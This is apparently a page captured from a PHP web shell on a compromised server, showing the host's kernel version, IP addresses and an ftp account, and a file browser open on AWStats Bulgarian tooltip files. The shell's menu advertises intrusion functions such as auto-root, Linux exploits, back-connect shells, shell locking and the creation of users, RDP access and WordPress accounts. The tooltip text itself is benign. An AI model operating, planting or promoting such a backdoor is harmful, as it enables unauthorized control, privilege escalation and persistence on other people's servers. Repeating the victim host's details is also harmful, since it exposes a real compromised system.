Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
awstats /
lang /
tooltips_w /
[ HOME SHELL ]
Name
Size
Permission
Action
awstats-tt-al.txt
6.03
KB
-rw-r--r--
awstats-tt-ba.txt
5.13
KB
-rw-r--r--
awstats-tt-bg.txt
8.82
KB
-rw-r--r--
awstats-tt-br.txt
7.7
KB
-rw-r--r--
awstats-tt-ca.txt
5.96
KB
-rw-r--r--
awstats-tt-cn.txt
2.54
KB
-rw-r--r--
awstats-tt-cz.txt
6.53
KB
-rw-r--r--
awstats-tt-de.txt
5.75
KB
-rw-r--r--
awstats-tt-dk.txt
6.9
KB
-rw-r--r--
awstats-tt-en.txt
6.26
KB
-rw-r--r--
awstats-tt-es.txt
6.17
KB
-rw-r--r--
awstats-tt-fi.txt
5.85
KB
-rw-r--r--
awstats-tt-fr.txt
6.65
KB
-rw-r--r--
awstats-tt-gl.txt
7.54
KB
-rw-r--r--
awstats-tt-gr.txt
11.74
KB
-rw-r--r--
awstats-tt-hu.txt
5.15
KB
-rw-r--r--
awstats-tt-is.txt
6.19
KB
-rw-r--r--
awstats-tt-it.txt
6.75
KB
-rw-r--r--
awstats-tt-jp.txt
3.92
KB
-rw-r--r--
awstats-tt-kr.txt
3.89
KB
-rw-r--r--
awstats-tt-nb.txt
4.59
KB
-rw-r--r--
awstats-tt-nl.txt
4.94
KB
-rw-r--r--
awstats-tt-nn.txt
5.17
KB
-rw-r--r--
awstats-tt-pl.txt
5.29
KB
-rw-r--r--
awstats-tt-ro.txt
5.53
KB
-rw-r--r--
awstats-tt-ru.txt
6.74
KB
-rw-r--r--
awstats-tt-se.txt
4.76
KB
-rw-r--r--
awstats-tt-sk.txt
4.19
KB
-rw-r--r--
awstats-tt-sr.txt
9
KB
-rw-r--r--
awstats-tt-tr.txt
3.97
KB
-rw-r--r--
awstats-tt-tw.txt
2.37
KB
-rw-r--r--
awstats-tt-ua.txt
6.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : awstats-tt-bg.txt
<!-- Bulgarian tooltips message file translated by Aryan(aryan@bgns.net) --> <!-- $Revision$ - $Date$ --> <div class="CTooltip" id="tt1"> Ново посещение се отчита при всеки нов <b>входящ посетител</b> (разглеждащ страница), който не е посещавал през последните <b>#VisitTimeOut# min</b>. </div> <div class="CTooltip" id="tt2"> Броят на клиентските хостове (<b>IP адреси</b>), които са посетили сайта (и са разгледали поне една <b>страница</b>).<br /> Тези данни показват броя на <b>различните физически лица</b>, посетили сайта във всеки един ден. </div> <div class="CTooltip" id="tt3"> Колко пъти <b>тази страница</b> от сайта е <b>разгледана</b> (Общо за всички посетители за всички посещения).<br /> Тези данни се различават от "хитове" по това, че отброяват само HTML страници (без картинките и другите видове файлове). </div> <div class="CTooltip" id="tt4"> Колко пъти <b>страница, картинка или друг файл</b> от сайта е <b>разгледан</b> или <b>свален</b> от посетител.<br /> Тези данни са само справочни, тъй като броя на разгледаните "страници" често са обект на маркетингова политика. </div> <div class="CTooltip" id="tt5"> Тази информация се отнася до количеството данни свалени с всички <b>страници</b>, <b>картинки</b> и <b>файлове</b> във вашият сайт.<br /> Мерните единици са в KB, MB или GB (Килобайти, Мегабайти или Гигабайти) </div> <div class="CTooltip" id="tt13"> #PROG# разпознава всеки достъп до вашия сайт след <b>претърсване</b> от <b>#SearchEnginesArray# популярните търсачки</b> (като Yahoo, Altavista, Lycos, Google, Voila, и т.н....). </div> <div class="CTooltip" id="tt14"> Списък на всички <b>външни страници</b> използвани за връзка (и вход) към вашият сайт (Само <b>#MaxNbOfRefererShown#</b>-те най-често използвани външни страници са показани). Връзките, използвани като резултат от търсачките са изключени, т.к. вече са показани в предишния ред от тази таблица. </div> <div class="CTooltip" id="tt15"> Таблицата показва списък с най-често използваните <b>ключови фрази или думи</b> използвани за намиране на вашият сайт с помощта на интернет търсачки. (Ключовите думи от <b>#SearchEnginesArray#</b> най-популярните търсачки са разпознати от #PROG#, като Yahoo, Altavista, Lycos, Google, Voila, и т.н...).<br /> Заб.: общият брой на търсенията по ключови думи може да превишава броя на търсенията по ключови фрази (истинският брой на търсенията), защото ако се използват 2 кл. думи при едно и също търсене се отброяват 2 търсения по думи (по веднъж за всяка дума). </div> <div class="CTooltip" id="tt16"> Роботите (известни и като Паяци) са <b>автоматизирани компютърни посетители</b> използвани от търсачките да сканират сайта ви за индексиране и класифициране: те събират информация за Уеб сайтовете и/или проверяват дали сайтът ви е онлайн.<br /> #PROG# може да разпознае до <b>#RobotArray#</b> робота. </div> <div class="CTooltip" id="tt17"> Всички времеви статистики са базирани на часовото време на сървъра. </div> <div class="CTooltip" id="tt18"> Докладваните данни са: <b>приблизителни стойности</b> (изчислени от всички данни между началното и последното посещение) </div> <div class="CTooltip" id="tt19"> Докладваните данни са: <b>нарастващи суми</b> (изчислени от всички данни между началното и последното посещение) </div> <div class="CTooltip" id="tt20"> Някои стойности на <b>Продължителност на посещенията</b> са 'неизвестни' защото невинаги могат да бъдат изчислени. Основната причина за това е:<br /> - Посещението още не е приключило, когато е предизвикано 'обновяване'.<br /> - Посещението е започнало в последният час (след 23:00) от последният ден на месеца (по технически причини #PROG# е възпрепятстван да изчисли продължителността на такива сесии). </div> <div class="CTooltip" id="tt201"> Няма описание на тази грешка. </div> <div class="CTooltip" id="tt202"> Заявката ще бъде обработена по-късно от сървъра. </div> <div class="CTooltip" id="tt204"> Сървърът обработи заявката, но тя не съдържа нищо. </div> <div class="CTooltip" id="tt206"> Частично съдържание </div> <div class="CTooltip" id="tt301"> В отговора на заявката можете да видите новият адрес на поисканият документ. </div> <div class="CTooltip" id="tt302"> Няма описание на тази грешка. </div> <div class="CTooltip" id="tt400"> Синтактична грешка, сървърът не разбира вашата заявка. </div> <div class="CTooltip" id="tt401"> Опитвате се да достигнете <b>URL защитен с име/парола</b>.<br />Многократни такива съобщения могат да означават опит за неоторизиран и/или <b>злонамерен достъп</b> до вашият сайт. </div> <div class="CTooltip" id="tt403"> Опитвате се да достигнете <b>URL недостъпен и за оторизирани потребители</b> (например, URL адрес в директория, която не е дефинирана за "преглед".). </div> <div class="CTooltip" id="tt404"> Опитвате се да достигнете <b>несъществуващ URL</b>. Това показва съществуването на невалидна връзка в сайта или погрешно написан от посетителя URL адрес. </div> <div class="CTooltip" id="tt408"> Сървърът е отделил <b>твърде много време</b> за да отговори на заявката. Тази грешка обикновено означава или бавен CGI скрипт, който сървърът се е принудил да прекрати или извънредно претоварен със заявки сървър. </div> <div class="CTooltip" id="tt500"> Вътрешна грешка. Тази грешка обикновено е причинена от CGI програма която е прекратила действието си абнормално(coredump например). </div> <div class="CTooltip" id="tt501"> Исканото действие е непознато. </div> <div class="CTooltip" id="tt502"> Код за грешка, върнат от HTTP сървър, работещ като прокси или gateway, когато сървърът-цел не е отговорил успешна на клиентската заявка. </div> <div class="CTooltip" id="tt503"> Вътрешна грешка на сървъра. </div> <div class="CTooltip" id="tt504"> Портално(Gateway) прекъсване. </div> <div class="CTooltip" id="tt505"> HTTP версията не се поддържа. </div>
Close